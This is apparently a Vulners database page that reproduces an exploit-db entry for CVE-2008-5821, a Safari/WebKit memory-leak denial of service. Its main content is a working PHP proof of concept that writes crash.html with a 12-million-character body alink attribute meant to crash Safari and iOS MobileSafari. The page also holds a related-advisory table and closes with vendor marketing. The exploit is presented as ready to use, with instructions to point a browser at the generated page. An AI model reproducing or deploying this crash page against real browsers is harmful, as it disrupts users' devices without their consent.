Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (2)
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
 | CVE-2008-5821 | 1 Jan 200900:00 | – | circl |
 | CVE-2008-5821 | 2 Jan 200919:00 | – | cve |
 | CVE-2008-5821 | 2 Jan 200919:00 | – | cvelist |
 | Apple Safari 4.0.5 (531.22.7) - Denial of Service | 26 Apr 201000:00 | – | exploitdb |
| Apple Safari 3.2 WebKit - 'alink' Property Memory Leak Remote Denial of Service (1) | 1 Jan 200900:00 | – | exploitdb |
 | CVE-2008-5821 | 2 Jan 200919:30 | – | nvd |
 | Apple Safari WebKit Property Memory Leak Remote DoS Vulnerability | 13 Jan 200900:00 | – | openvas |
| Apple Safari WebKit Property Memory Leak Remote DoS Vulnerability | 13 Jan 200900:00 | – | openvas |
 | Hardcoded credentials | 2 Jan 200919:30 | – | prion |
 | Apple Safari WebKit alink属性内存泄露拒绝服务漏洞 | 5 Jan 200900:00 | – | seebug |
10
source: https://www.securityfocus.com/bid/33080/info
Apple Safari is prone to a denial-of-service vulnerability that resides in the WebKit library.
Remote attackers can exploit this issue to crash the affected browser, denial-of-service condition.
Apple Safari 3.2 running on Microsoft Windows Vista is vulnerable; other versions running on different platforms may also be affected.
Note (December 20, 2010): Safari on iOS 4.0.1 is also vulnerable.
<?php
# _ ____ __ __ ___
# (_)____ _ __/ __ \/ /_____ ____/ / _/_/ |
# / // __ \ | / / / / / //_/ _ \/ __ / / / / /
# / // / / / |/ / /_/ / ,< / __/ /_/ / / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/ / /_/_/
# Live by the byte |_/_/
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: [email protected]
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created(crash.html) file and see what happen ;)
# The vulnerable tag is:
# * <body alink="A x 12000085">
# -----------------------------------
# Exploit Title: Apple iPhone Safari (body alink) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3, IOS 4.0.1 MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code = "<html>
<head>
<title>Apple iPhone Safari (body alink) Remote Crash</title>
</head>
<body alink='{$string}'>
</body>
</html>";
if(file_put_contents("./crash.html", $code)) {
echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
echo("Cannot create file.\r\n");
}
?>Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Apr 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 25
EPSS0.03917